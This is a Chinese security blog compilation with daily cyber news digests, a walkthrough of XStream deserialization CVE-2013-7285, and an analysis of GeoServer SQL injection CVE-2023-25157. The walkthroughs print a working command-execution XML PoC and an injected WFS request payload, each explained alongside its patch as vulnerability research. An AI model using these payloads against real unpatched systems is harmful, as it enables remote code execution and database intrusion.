https://blog.cyble.com/2023/06/23/trojanized-super-mario-game-installer-spreads-supremebot-malware/ SupremeBot恶意软件是一种利用伪装成超级马里奥游戏安装程序的方式传播的恶意软件,它可以在用户的电脑上安装多个恶意组件,包括一个XMR挖矿器、一个SupremeBot挖矿客户端和一个开源的Umbral窃密器。研究人员发现了一个名为“Super-Mario-Bros.exe”的可疑文件,它是一个32位的Nullsoft Installer(NSIS)自解压归档可执行文件,它包含了一个合法的超
4、参与2020年推特大规模黑客攻击的英国人被判五年监禁
https://www.justice.gov/usao-sdny/pr/uk-citizen-sentenced-five-years-prison-cybercrime-offenses Joseph James O’Connor(又名PlugwalkJoe),24岁,是一名英国公民,他参与了2020年7月对推特的大规模黑客攻击,该攻击导致130个知名账号被劫持,并用于实施一场涉及12万美元的加密货币诈骗。O’Connor于上周五在美国纽约南区被判处五年监禁,这是在他一个月多前承认了自己的罪行之后。他于2021年7月在西班牙被捕。美国司法部(DoJ)表示,O’Connor和他的同伙利用了
5、美国航空和西南航空披露影响飞行员的数据泄露事件
https://www.documentcloud.org/documents/23859182-southwest-data-breach-notification-letters 美国航空和西南航空是世界上最大的两家航空公司,它们在近日披露了一起数据泄露事件,该事件是由一家第三方供应商Pilot Credentials的黑客攻击造成的。Pilot Credentials是一家管理多家航空公司的飞行员申请和招聘门户的供应商。美国航空在一份通知信中表示,Pilot Credentials于2023年6月18日通知了美国航空,称其系统于2023年5月24日遭到了未经授权的访问,导致部分美国航空
6、美国卫生部警告医疗行业面临SEO投毒攻击的风险
https://www.hhs.gov/sites/default/files/june-2023-seo-poisoning-analyst-note-tlpclear.pdf 搜索引擎优化(SEO)投毒攻击是一种故意操纵搜索结果,引导用户访问植入恶意软件的网站的攻击方式,这种攻击方式在医疗行业日益增多,美国联邦监管机构发出警告。美国卫生部的卫生部门网络安全协调中心(HHS HC3)发布了一份警报,提醒医疗行业注意SEO投毒攻击的威胁。该警报称,这种攻击方式最近经常针对美国医疗和公共卫生部门。HHS HC3表示,SEO投毒攻击的幕后黑手利用诸如谷歌等搜索引擎,使得第一个广告链接实际上指向攻
7、Fortinet修复了关键的FortiNAC远程命令执行漏洞
https://www.fortiguard.com/psirt/FG-IR-23-074 网络安全解决方案公司Fortinet更新了其零信任访问解决方案FortiNAC,以解决攻击者可利用该漏洞来执行代码和命令。FortiNAC允许组织管理网络范围的访问策略,获得设备和用户的可见性,并保护网络免受未经授权的访问和威胁。该安全问题被跟踪为CVE-2023-33299,严重程度评分为9.6(满分10)。它是不受信任数据的反序列化,可能导致未经身份验证的远程代码执行(RCE)。供应商没有提供缓解建议,因此建议的操作是应用可用的安全更新。CVE-2023-33299是由提供红队、渗透测试和威胁情报
8、美国司法部创建新的国家安全网络部门
https://cybernews.com/security/doj-creates-new-national-security-cyber-section/ 新成立的部门正式简称为 NatSec Cyber,是为了响应美国司法部长办公室在司法部 (DoJ) 2022 年全面网络审查中的核心调查结果而创建。
9、曼彻斯特大学证实在最近的网络攻击中数据被盗
https://www.manchester.ac.uk/discover/news/cyber-incident-update/ 曼彻斯特大学最终证实,六月初披露的网络攻击背后的攻击者窃取了校友和在校学生的数据。该大学于6月9日首次披露了此次攻击 ,警告数据可能被盗,但表示该事件与MOVEit Transfer数据盗窃攻击无关。“根据我们的调查,我们认为一小部分数据被复制,涉及一些学生和一些校友。我们已直接写信给那些可能受到此影响的个人,”该大学表示。“我们尚未发现任何未经授权访问银行账户或银行卡支付详细信息的情况,我们不会在上述系统上存储此类信息。 ”该大学表示,正在与相关当局合作调查这
10、微软发现针对物联网设备和Linux系统的恶意挖矿活动
https://www.microsoft.com/en-us/security/blog/2023/06/22/iot-devices-and-linux-based-systems-targeted-by-openssh-trojan-campaign/ 加密劫持是非法使用计算资源来挖掘加密货币的行为,近年来变得越来越普遍,攻击者围绕攻击工具、基础设施和服务构建网络犯罪框架,通过针对包括物联网在内的各种易受攻击的系统来获取收入。微软研究人员最近发现了一种利用自定义和开源工具来针对面向互联网的基于Linux的系统和物联网设备的攻击。该攻击使用OpenSSH的修补版本来控制受影响的设备并安装
免责声明
以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
Java 反序列化之 XStream 反序列化
0x01 XStream 基础
XStream 简介
XStream 是一个简单的基于 Java 库,Java 对象序列化到 XML,反之亦然(即:可以轻易的将 Java 对象和 XML 文档相互转换)。
使用 XStream 实现序列化与反序列化
下面看下如何使用 XStream 进行序列化和反序列化操作的。
先定义接口类
IPerson.java
public interface IPerson {
void output();
}
接着定义 Person 类实现前面的接口:
public class Person implements IPerson {
String name;
int age;
public void output() {
System.out.print("Hello, this is " + this.name + ", age " + this.age);
}
}
XStream 序列化是调用 XStream.toXML() 来实现的:
public class Serialize {
public static void main(String[] args) {
Person p = new Person();
p.age = 6;
p.name = "Drunkbaby";
XStream xstream = new XStream(new DomDriver());
String xml = xstream.toXML(p);
System.out.println(xml);
}
}
XStream 反序列化是用过调用 XStream.fromXML() 来实现的,其中获取 XML 文件内容的方式可以通过 Scanner() 或 FileInputStream 都可以:
Deserialize.java
import com.thoughtworks.xstream.XStream;
import com.thoughtworks.xstream.io.xml.DomDriver;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.util.Scanner;
public class Deserialize {
public static void main(String[] args) throws FileNotFoundException {
// String xml = new Scanner(new File("person.xml")).useDelimiter("\\Z").next();
FileInputStream xml = new FileInputStream("G:\\OneDrive - yapuu\\Java安全学习\\JavaSecurityLearning\\JavaSecurity\\XStream\\XStream\\XStream-Basic\\src\\main\\java\\person.xml");
XStream xstream = new XStream(new DomDriver());
Person p = (Person) xstream.fromXML(xml);
p.output();
}
}
XStream 几个部分
XStream 类图,参考./https://www.jianshu.com/p/387c568faf62:
主要分为四个部分:
MarshallingStrategy 编码策略
marshall : object->xml 编码
unmarshall : xml-> object 解码
两个重要的实现类:
com.thoughtworks.xstream.core.TreeMarshaller : 树编组程序
调用 Mapper 和 Converter 把 XML 转化成 Java 对象
其中的 start 方法开始编组
其中调用了 this.convertAnother(item) 方法
convertAnother 方法的作用是把 XML 转化成 Java 对象。
Mapper 映射器
简单来说就是通过 mapper 获取对象对应的类、成员、Field 属性的 Class 对象,赋值给 XML 的标签字段。
Converter 转换器
XStream 为 Java 常见的类型提供了 Converter 转换器。转换器注册中心是 XStream 组成的核心部分。
转换器的职责是提供一种策略,用于将对象图中找到的特定类型的对象转换为 XML 或将 XML 转换为对象。
简单地说,就是输入 XML 后它能识别其中的标签字段并转换为相应的对象,反之亦然。
转换器需要实现 3 个方法,这三个方法分别是来自于 Converter 类以及它的父类 ConverterMatcher
canConvert 方法:告诉 XStream 对象,它能够转换的对象;
marshal 方法:能够将对象转换为 XML 时候的具体操作;
unmarshal 方法:能够将 XML 转换为对象时的具体操作;
具体参考:http://x-stream.github.io/converters.html
这里告诉了我们针对各种对象,XStream 都做了哪些支持。
EventHandler 类
EventHandler 类为动态生成事件侦听器提供支持,这些侦听器的方法执行一条涉及传入事件对象和目标对象的简单语句。
EventHandler 类是实现了 InvocationHandler 的一个类,设计本意是为交互工具提供 beans,建立从用户界面到应用程序逻辑的连接。
EventHandler 类定义的代码如下,其含有 target 和 action 属性,在 EventHandler.invoke()->EventHandler.invokeInternal()->MethodUtil.invoke() 的函数调用链中,会将前面两个属性作为类方法和参数继续反射调用:
public class EventHandler implements InvocationHandler {
private Object target;
private String action;
...
public Object invoke(final Object proxy, final Method method, final Object[] arguments) {
...
return invokeInternal(proxy, method, arguments);
...
}
private Object invokeInternal(Object proxy, Method method, Object[] arguments) {
...
Method targetMethod = Statement.getMethod(
target.getClass(), action, argTypes);
...
return MethodUtil.invoke(targetMethod, target, newArgs);
}
...
}
...
}
这里重点看下 EventHandler.invokeInternal() 函数的代码逻辑,如注释:
private Object invokeInternal(Object var1, Method var2, Object[] var3) {
//-------------------------------------part1----------------------------------
//作用:获取interface的name,即获得Comparable,检查name是否等于以下3个名称
String var4 = var2.getName();
if (var2.getDeclaringClass() == Object.class) {
if (var4.equals("hashCode")) {
return new Integer(System.identityHashCode(var1));
}
if (var4.equals("equals")) {
return var1 == var3[0] ? Boolean.TRUE : Boolean.FALSE;
}
if (var4.equals("toString")) {
return var1.getClass().getName() + '@' + Integer.toHexString(var1.hashCode());
}
}
//-------------------------------------part2----------------------------------
//貌似获取了一个class和object
if (this.listenerMethodName != null && !this.listenerMethodName.equals(var4)) {
return null;
} else {
Class[] var5 = null;
Object[] var6 = null;
if (this.eventPropertyName == null) {
var6 = new Object[0];
var5 = new Class[0];
} else {
Object var7 = this.applyGetters(var3[0], this.getEventPropertyName());
var6 = new Object[]{var7};
var5 = new Class[]{var7 == null ? null : var7.getClass()};
}
//------------------------------------------------------------------------------
try {
int var12 = this.action.lastIndexOf(46);
if (var12 != -1) {
this.target = this.applyGetters(this.target, this.action.substring(0, var12));
this.action = this.action.substring(var12 + 1);
}
//--------------------------------------part3----------------------------------------
//var13获取了method的名称, var13=public java.lang.Process java.lang.ProcessBuilder.start() throws java.io.IOException
Method var13 = Statement.getMethod(this.target.getClass(), this.action, var5);
//--------------------------------------------------------------------------
//判断var13是否为空,当然不为空啦
if (var13 == null) {
var13 = Statement.getMethod(this.target.getClass(), "set" + NameGenerator.capitalize(this.action), var5);
}
if (var13 == null) {
String var9 = var5.length == 0 ? " with no arguments" : " with argument " + var5[0];
throw new RuntimeException("No method called " + this.action + " on " + this.target.getClass() + var9);
} else {
//-------------------------------------part4----------------------------------
//调用invoke,调用函数,执行命令
return MethodUtil.invoke(var13, this.target, var6);
}
//------------------------------------------------------------------------------
} catch (IllegalAccessException var10) {
throw new RuntimeException(var10);
} catch (InvocationTargetException var11) {
Throwable var8 = var11.getTargetException();
throw var8 instanceof RuntimeException ? (RuntimeException)var8 : new RuntimeException(var8);
}
}
}
有一说一看到这里的时候,就感觉 XStream 可能比较多的会通过动态代理作为 sink
DynamicProxyConverter 动态代理转换器
DynamicProxyConverter 即动态代理转换器,是 XStream 支持的一种转换器,其存在使得 XStream 能够把 XML 内容反序列化转换为动态代理类对象:
XStream 反序列化漏洞的 PoC 都是以 DynamicProxyConverter 这个转换器为基础来编写的。
以官网给的例子为例:
<dynamic-proxy>
<interface>com.foo.Blah</interface>
<interface>com.foo.Woo</interface>
<handler class="com.foo.MyHandler">
<something>blah</something>
</handler>
</dynamic-proxy>
dynamic-proxy 标签在 XStream 反序列化之后会得到一个动态代理类对象,当访问了该对象的com.foo.Blah 或 com.foo.Woo 这两个接口类中声明的方法时(即 interface 标签内指定的接口类),就会调用 handler 标签中的类方法 com.foo.MyHandler
0x02 CVE-2013-7285
PoC
<sorted-set>
<dynamic-proxy>
<interface>java.lang.Comparable</interface>
<handler class="java.beans.EventHandler">
<target class="java.lang.ProcessBuilder">
<command>
<string>Calc</string>
</command>
</target>
<action>start</action>
</handler>
</dynamic-proxy>
</sorted-set>
看到 PoC 这里大致是明白了,在之前有一段代码是读取每一个 XML 的节点,读取这些节点之后应该是用动态代理触发 invoke() 了
触发代码
import com.thoughtworks.xstream.XStream;
import com.thoughtworks.xstream.io.xml.DomDriver;
import java.io.FileInputStream;
// CVE_2013_7285 Exploit
public class CVE_2013_7285 {
public static void main(String[] args) throws Exception{
FileInputStream fileInputStream = new FileInputStream("G:\\OneDrive - yapuu\\Java安全学习\\JavaSecurityLearning\\JavaSecurity\\XStream\\XStream\\XStream-Basic\\src\\main\\java\\person.xml");
XStream xStream = new XStream(new DomDriver());
xStream.fromXML(fileInputStream);
}
}
漏洞原理
XStream 反序列化漏洞的存在是因为 XStream 支持一个名为 DynamicProxyConverter 的转换器,该转换器可以将 XML 中 dynamic-proxy 标签内容转换成动态代理类对象,而当程序调用了 dynamic-proxy 标签内的 interface 标签指向的接口类声明的方法时,就会通过动态代理机制代理访问 dynamic-proxy 标签内 handler 标签指定的类方法。
利用这个机制,攻击者可以构造恶意的XML内容,即 dynamic-proxy 标签内的 handler 标签指向如 EventHandler 类这种可实现任意函数反射调用的恶意类、interface 标签指向目标程序必然会调用的接口类方法;最后当攻击者从外部输入该恶意 XML 内容后即可触发反序列化漏洞、达到任意代码执行的目的。
漏洞分析
下断点调试一下,这里前面的流程和分析 XStream 流程是类似的,会调用HierarchicalStreams.readClassType() 来获取到 PoC XML 中根标签的类类型
后面会跟进到 mapper.realClass() 进行循环遍历,用来查找 XML 中的根标签为何类型(前面也都分析过了),接着是调用 convertAnother() 函数对 java.util.SortedSet 类型进行转换,我们跟进去该函数,其中调用 mapper.defaultImplementationOf() 函数来寻找 java.util.SortedSet 类型的默认实现类型进行替换,这里转换为了 java.util.TreeSet 类型
接着就是寻找 Convert 的过程,这里寻找到对应的转换器是 TreeMapConverter 转换器
往下调试,在 AbstractReferenceUnmarshaller.convert() 函数中看到,会调用 getCurrentReferenceKey() 来获取当前的 Reference 键,并且会将当前的 Reference 键压到栈中,这个 Reference 键后续会和保存的类型 —— java.util.TreeSet 类一一对应起来。
接着调用其父类即的 FastStack.convert() 方法,跟进去,显示将类型压入栈,然后调用转换器 TreeSetConverter 的 unmarshal() 方法:
在它第 61 行调用了 treeMapConverter.unmarshalComparator() 方法,这个方法获取到了第二个 XML 节点元素,这个方法当时漏看了,这个方法还是比较重要的,它获取到了 xml 根元素的子元素。
跟进之后就变得一目了然了,其中判断 reader 是否还有子元素
下面的 reader.movedown() 方法做了获取子元素,并把子元素添加到当前 context 的 pathTracker
往下调试,在 TreeSetConverter.unmarshal() 方法中调用了 this.treeMapConverter.populateTreeMap(),从这个方法开始,XStream 开始处理了 XML 里面其他的节点元素。跟进该函数,先判断是否是第一个元素,是的话就调用 putCurrentEntryIntoMap()函数,即将当前内容缓存到 Map 中:
跟进去,发现调用 readItem() 方法读取标签内的内容并缓存到当前 Map 中
这里再跟进 readItem() 方法,会发现比较有意思的一点是它又调用了 HierarchicalStreams.readClassType() 和 context.convertAnother() 方法,而这里的元素已经变成了第二个元素,也就是 <dynamic-proxy>,这里有点像是递归调用
可以跟进去看一下,这里通过查看 mapper 可以知道目前拿去保存在 mapper 当中的还是两个元素,而 XStream 的处理,则会处理最新的一个(最里层的一个)
经过处理之后返回的 type 就为最新的一个子元素的类型,这里是 com.thoughtworks.xstream.mapper.DynamicProxyMapper$DynamicProxy,对应的转换器为 DynamicProxyConverter,跟进到其中来看具体处理。
先判断当前元素是否还有子元素,并获取该子元素进行后续判断
根据我们所编写的 xml,获取到的子元素为 <interface>,经过判断 if (elementName.equals("interface")),如果为 true,则将目前 <interface> 节点的元素获取到,再获得转换类型。
因为仍旧存在子元素,获取完 <interface> 后重新进入这个迭代,下一个获取到的子元素是 <handler>。这里程序会判断是否等于 handler,如果等于 handler,则获取它标签所对应的类,并跳出迭代。
往下走,第 125 行调用了 Proxy.newProxyInstance() 方法,这里是动态代理中的,实例化代理类的过程。第 127 行这里,调用 context.convertAnother() 方法,跟进一下。对应的转换器是 AbstractReflectionConverter,它会先调用 instantiateNewInstance() 方法实例化一个 EventHandler 类
往下,跟进 doUnmarshal() 方法,这里又是一层内部递归,从 xml 中可以看到 <handler> 节点之下还有很多子节点(又看到了熟悉的 hasChildren()
这时我们获取到的 type 为 class java.lang.ProcessBuilder,跟进 unmarshallField() 方法
后面也都是类似的运行流程了,这里就不再废话,师傅们可以自行分析一下,是很容易看懂的;XSteam 虽然处理了 xml,且我们也基本明白了基础运行流程,但是最后漏洞触发这里还是要关注一下。
将所有的节点过完一遍之后,最终还是会走到 treeMapConverter.populateTreeMap() 这个地方
跟进,直到第 122 行,调用 put.All() 方法,里面的变量为 sortedMap,查看一下它的值可以发现这是一串链式存储的数据
最终是调用到 EventHandler.invoke() 方法调用栈如下,还是比较简单的
invoke:428, EventHandler (java.beans)
compareTo:-1, $Proxy0 (com.sun.proxy)
compare:1294, TreeMap (java.util)
put:538, TreeMap (java.util)
putAll:281, AbstractMap (java.util)
putAll:327, TreeMap (java.util)
populateTreeMap:122, TreeMapConverter (com.thoughtworks.xstream.converters.collections)
最后成功调用了 java.lang.ProcessBuilder#start 方法,命令执行
0x03 漏洞修复
根据官方的修复手段,这里其实增加了黑名单
Users can register an own converter for dynamic proxies, the java.beans.EventHandler type or for the java.lang.ProcessBuilder type, that also protects against an attack for this special case:
xstream.registerConverter(new Converter() {
public boolean canConvert(Class type) {
return type != null && (type == java.beans.EventHandler || type == java.lang.ProcessBuilder || Proxy.isProxy(type));
}
public Object unmarshal(HierarchicalStreamReader reader, UnmarshallingContext context) {
throw new ConversionException("Unsupported type due to security reasons.");
}
public void marshal(Object source, HierarchicalStreamWriter writer, MarshallingContext context) {
throw new ConversionException("Unsupported type due to security reasons.");
}
}, XStream.PRIORITY_LOW);
0x04 小结
XStream 最基础的漏洞是 CVE-2013-7285,通过这个漏洞可以很好的先认识 XStream 的基础运行流程,后续的漏洞挖掘和修复也算是一些《攻防史》,还是比较有意思的。
网络安全日报 2023年06月25日
1、黑客使用Tsunami僵尸网络恶意软件感染Linux SSH服务器
https://asec.ahnlab.com/en/54647/ 一个未知的威胁行为者正在暴力破解Linux SSH服务器以安装各种恶意软件,包括Tsunami DDoS(分布式拒绝服务)机器人、ShellBot、日志清理器、特权升级工具和XMRig(Monero)加密货币挖掘器。SSH(Secure Socket Shell)是一种用于登录远程机器的加密网络通信协议,支持隧道、TCP端口转发、文件传输等。网络管理员通常使用SSH远程管理Linux设备,执行诸如运行命令、更改配置、更新软件和解决问题等任务。但是,如果这些服务器的安全性很差,它们可能容易受到暴力攻击,从而使威胁行为者可以尝试
2、SeroXen恶意软件使用BatCloak混淆工具以规避安全软件检测
https://www.trendmicro.com/en_ph/research/23/f/seroxen-incorporates-latest-batcloak-engine-iteration.html 安全研究人员警告说,恶意软件开发人员正在采用一种易于使用的混淆工具,该工具可以使恶意软件绕过防病毒软件。趋势科技本月早些时候发布的分析报告对从公共存储库中获取的数百个受感染的批处理文件样本进行了分析,得出的结论是,BatCloak屏蔽了80%的文件,使其免受安全软件的检测。批处理文件通常带有.bat扩展名,是带有命令行解释器脚本的纯文本文件。BatCloak用于隐藏SeroXen不被
3、微软修复了Azure Active Directory身份验证漏洞
https://www.descope.com/blog/post/noauth 微软已经修复了Azure Active Directory (Azure AD)身份验证漏洞,该漏洞可能允许威胁参与者提升权限并可能完全接管目标帐户。这种错误配置(发现它的Descope安全团队将其命名为nOAuth )可能会在针对配置为使用访问令牌中的电子邮件声明进行授权的Azure AD OAuth应用程序的帐户和权限升级攻击中被滥用。攻击者只需将其Azure AD管理员帐户上的电子邮件更改为受害者的电子邮件地址,并使用“通过 Microsoft 登录”功能在易受攻击的应用程序或网站上进行授权。如果目标资源
4、新的Condi恶意软件利用TP-Link AX21路由器构建DDoS僵尸网络
https://www.fortinet.com/blog/threat-research/condi-ddos-botnet-spreads-via-tp-links-cve-2023-1389 2023年5月出现了一个名为“Condi”的新型DDoS即服务僵尸网络,它利用TP-Link Archer AX21(AX1800)Wi-Fi路由器中的漏洞组建了一支机器人大军来进行攻击。Condi旨在招募新设备来创建强大的DDoS(分布式拒绝服务)僵尸网络,攻击者可以租用这些设备对网站和服务发起攻击。此外,Condi背后的威胁行为者出售恶意软件的源代码,这是一种异常激进的货币化方法,注定会导致许
5、研究人员警告vRealize的严重漏洞在攻击中被利用
https://www.greynoise.io/blog/observed-in-the-wild-new-tag-for-cve-2023-20887-vmware-aria-operations-for-networks VMware更新了两周前发布的安全公告,警告客户,一个现已修补的允许远程执行代码的关键漏洞正在被主动利用进行攻击。“GreyNoise研究分析师Jacob Fisher表示:“我们观察到有人试图利用上述概念验证代码进行大规模扫描,试图启动一个反向外壳,该外壳连接回攻击者控制的服务器以接收更多命令。”该漏洞影响VMware Aria Operations for Net
6、UPS披露客户信息泄露并被用于网络钓鱼攻击
https://www.bleepingcomputer.com/news/security/ups-discloses-data-breach-after-exposed-customer-info-used-in-sms-phishing/ 跨国运输公司UPS警告加拿大客户,他们的一些个人信息可能已通过其在线包裹查找工具暴露并在网络钓鱼攻击中被滥用。乍一看,UPS发送的标题为“打击网络钓鱼和网络钓鱼 - 来自UPS的更新”的信件似乎是在警告客户网络钓鱼的危险。然而,事实证明这实际上是一个数据泄露通知,该公司偷偷披露了一份声明,称它已经收到了包含收件人姓名和地址信息的SMS网络钓鱼消息的报
7、威胁行为者利用多个物联网漏洞传播Mirai僵尸网络
https://unit42.paloaltonetworks.com/mirai-variant-targets-iot-exploits/ 自2023年3月以来,Unit 42研究人员观察到威胁行为者利用多个物联网漏洞传播Mirai僵尸网络的变体。威胁行为者有能力完全控制受感染的设备,并将这些设备集成到僵尸网络中。然后,这些设备用于执行其他攻击,包括分布式拒绝服务(DDoS)攻击。总的来说,该恶意软件针对各种互联产品中至少22个已知的安全问题,其中包括路由器、DVR、NVR、WiFi通信适配器、热监控系统、访问控制系统和太阳能发电监视器。攻击首先利用上述漏洞之一,为从外部资源执行shel
8、苹果修复了iMessage零点击零日漏洞
https://support.apple.com/en-us/HT213811 Apple解决了三个新的零日漏洞,这些漏洞在通过iMessage零点击攻击在iPhone上安装Triangulation间谍软件的攻击中被利用。该公司在描述被跟踪为CVE-2023-32434和CVE-2023-32435的内核和WebKit漏洞时表示:“Apple知道有报告称此问题可能已被积极利用于iOS 15.7之前发布的iOS版本。这两个安全漏洞是由卡巴斯基安全研究人员Georgy Kucherin、Leonid Bezvershenko和Boris Larin发现并报告的。卡巴斯基表示,这些攻击始于20
9、百万计的GitHub存储库可能受到RepoJacking攻击
https://blog.aquasec.com/github-dataset-research-reveals-millions-potentially-vulnerable-to-repojacking 数以百万计的GitHub存储库可能容易受到依赖关系存储库劫持(也称为“RepoJacking”)的攻击,这可能有助于攻击者部署影响大量用户的供应链攻击。该警告来自AquaSec的安全团队“Nautilus”,他们分析了125万个GitHub存储库的样本,发现其中约2.95%容易受到RepoJacking的攻击。通过将此百分比推断到GitHub超过3亿的整个存储库,研究人员估计该问题影响了
10、 iOttie在网站被黑客入侵后披露数据泄露
https://apps.web.maine.gov/online/aeviewer/ME/40/6bbb2a98-50b3-4fb1-844f-9572cf363b2a.shtml 车载和移动配件制造商iOttie警告说,其网站已被入侵近两个月,以窃取在线购物者的信用卡和个人信息。iOttie是一家受欢迎的移动设备车载支架、充电器和配件制造商。iOttie表示,他们于6月13日发现其在线商店在2023年4月12日至6月2日期间遭到恶意脚本的入侵。iOttie数据泄露通知警告称:“我们认为犯罪电子窃取行为发生在2023年4月12日至2023年6月2日期间。然而,2023年6月2日,在Word
免责声明
以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
浅析GeoServer CVE-2023-25157 SQL注入
简介
GeoServer是一个开源的地图服务器,它是遵循OpenGIS Web服务器规范的J2EE实现,通过它可以方便的将地图数据发布为地图服务,实现地理空间数据在用户之间的共享。
影响版本
geoserver<2.18.7
2.19.0<=geoserver<2.19.7
2.20.0<=geoserver<2.20.7
2.21.0<=geoserver<2.21.4
2.22.0<=geoserver<2.22.2
环境搭建
安装方式有多种可以选择
windwos下载安装
https://sourceforge.net/projects/geoserver/files/GeoServer/2.22.0/GeoServer-2.22.0-winsetup.exe/download下载后只需要指定端口直接下载可完成安装
war包安装
tomcat下载地址
https://dlcdn.apache.org/tomcat/tomcat-8/v8.5.90/bin/apache-tomcat-8.5.90-windows-x64.zipgeoserver下载地址
https://sourceforge.net/projects/geoserver/files/GeoServer/2.23.1/geoserver-2.23.1-war.zip解压下载后的文件geoserver-2.15.1-war.zip,得到geoserver.war
把此geoserver.war文件拷贝到tomcat根目录下的webapps文件夹下。
启动tomcat
访问路径,默认端口为8080,端口根据自己的需求开放即可,这里我开放的端口为8081
http://localhost:8081/geoserver/web/
分析
POC下载链接
https://github.com/win3zz/CVE-2023-25157python3 CVE-2023-25157.py http://localhost:8081
查看提交的补丁分析一下漏洞
https://github.com/geoserver/geoserver/commit/145a8af798590288d270b240235e89c8f0b62e1d修改了配置文件src/community/jdbcconfig/src/main/java/org/geoserver/jdbcconfig/internal/ConfigDatabase.java
重新添加了模块org.geoserver.jdbcloader.JDBCLoaderProperties模块用于配置文件jdbcconfig/jdbcconfig.properties中的 JDBCConfig 模块
属性字段并更改了构造函数以包含此属性字段。这允许对数据库配置进行更多自定义,从而可能允许增强安全措施。https://docs.spring.io/spring-framework/docs/current/javadoc-api/org/springframework/jdbc/core/namedparam/NamedParameterJdbcTemplate.html是 Spring Framework 提供的一个类,它添加了对使用命名参数对 JDBC 语句进行编程的支持,而不是使用经典占位符 ('?') 参数对 JDBC 语句进行编程
public ConfigDatabase(
JDBCLoaderProperties properties,
DataSource dataSource,
XStreamInfoSerialBinding binding) {
this(properties, dataSource, binding, null);
}
public ConfigDatabase(
JDBCLoaderProperties properties,
final DataSource dataSource,
final XStreamInfoSerialBinding binding,
CacheProvider cacheProvider) {
this.properties = properties;
this.binding = binding;
this.template = new NamedParameterJdbcTemplate(dataSource);
通过使用参数化查询而不是字符串连接
src/community/jdbcconfig/src/main/java/org/geoserver/jdbcconfig/internal/OracleDialect.java在插入中做了修改
//sql.insert(0, "SELECT * FROM (SELECT query.*, rownum rnum FROM (\n");
//sql.append(") query\n");
sql.insert(
0,
"SELECT * FROM (SELECT query.*, rownum rnum FROM ("
+ (isDebugMode() ? "\n" : ""));
sql.append(") query");
appendIfDebug(sql, "\n", " ");
修改了插入语法,其方法在src/community/jdbcconfig/src/main/java/org/geoserver/jdbcconfig/internal/Dialect.java
中定义
public boolean isDebugMode() {
return debugMode;
}
public void setDebugMode(boolean debugMode) {
this.debugMode = debugMode;
}
/** Escapes the contents of the SQL comment to prevent SQL injection. */
public String escapeComment(String comment) {
String escaped = ESCAPE_CLOSING_COMMENT_PATTERN.matcher(comment).replaceAll("*\\\\/");
return ESCAPE_OPENING_COMMENT_PATTERN.matcher(escaped).replaceAll("/\\\\*");
}
/** Appends the objects to the SQL in a comment if debug mode is enabled. */
public StringBuilder appendComment(StringBuilder sql, Object... objects) {
if (!debugMode) {
return sql;
}
sql.append(" /* ");
for (Object object : objects) {
sql.append(escapeComment(String.valueOf(object)));
}
return sql.append(" */\n");
}
/** Appends the objects to the SQL in an comment if debug mode is enabled. */
public StringBuilder appendComment(Object sql, Object... objects) {
return appendComment((StringBuilder) sql, objects);
}
/** Appends one of the strings to the SQL depending on whether debug mode is enabled. */
public StringBuilder appendIfDebug(StringBuilder sql, String ifEnabled, String ifDisabled) {
return sql.append(debugMode ? ifEnabled : ifDisabled);
}
获取功能名POC
GET /geoserver/ows?service=WFS&version=1.0.0&request=GetCapabilities HTTP/1.1
Host: 10.10.12.35:8081
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: JSESSIONID=node0iyysq0tt08lup1gy571ox3id1.node0
Upgrade-Insecure-Requests: 1
获取功能属性POC
GET /geoserver/ows?service=wfs&version=1.0.0&request=GetFeature&typeName=ne:coastlines&maxFeatures=1&outputFormat=json HTTP/1.1
Host: 10.10.12.35:8081
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: JSESSIONID=node0iyysq0tt08lup1gy571ox3id1.node0
Upgrade-Insecure-Requests: 1
构造恶意payload
GET /geoserver/ows?service=wfs&version=1.0.0&request=GetFeature&typeName=ne:coastlines=strStartsWith%28scalerank%2C%27x%27%27%29+%3D+true+and+1%3D%28SELECT+CAST+%28%28SELECT+version()%29+AS+INTEGER%29%29+--+%27%29+%3D+true HTTP/1.1
Host: 10.10.12.35:8081
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: JSESSIONID=node0iyysq0tt08lup1gy571ox3id1.node0
Upgrade-Insecure-Requests: 1
这里引用一张图,geotools的注入漏洞
漏洞编号CVE-2023-25158,查看补丁发现
在类中添加该escapeBackslash字段https://github.com/geotools/geotools/commit/64fb4c47f43ca818c2fe96a94651bff1b3b3ed2b?diff=split#diff-bd6d9db0d247e2fa5b149e6e281e39d27da9eecb7b755cb5f9be01aa975aca2e是一种预防措施,可防止某些形式的 SQL 注入,其中反斜杠字符用于转义 SQL 语法中的特殊字符
// single quotes must be escaped to have a valid sql string
String escaped = escapeLiteral(encoding);
调用类escapeLiteral()中的方法EscapeSql.java。此方法旨在不仅转义单引号,还转义反斜杠,并可能根据其参数转义双引号
public static String escapeLiteral(
String literal, boolean escapeBackslash, boolean escapeDoubleQuote) {
// ' --> ''
String escaped = SINGLE_QUOTE_PATTERN.matcher(literal).replaceAll("''");
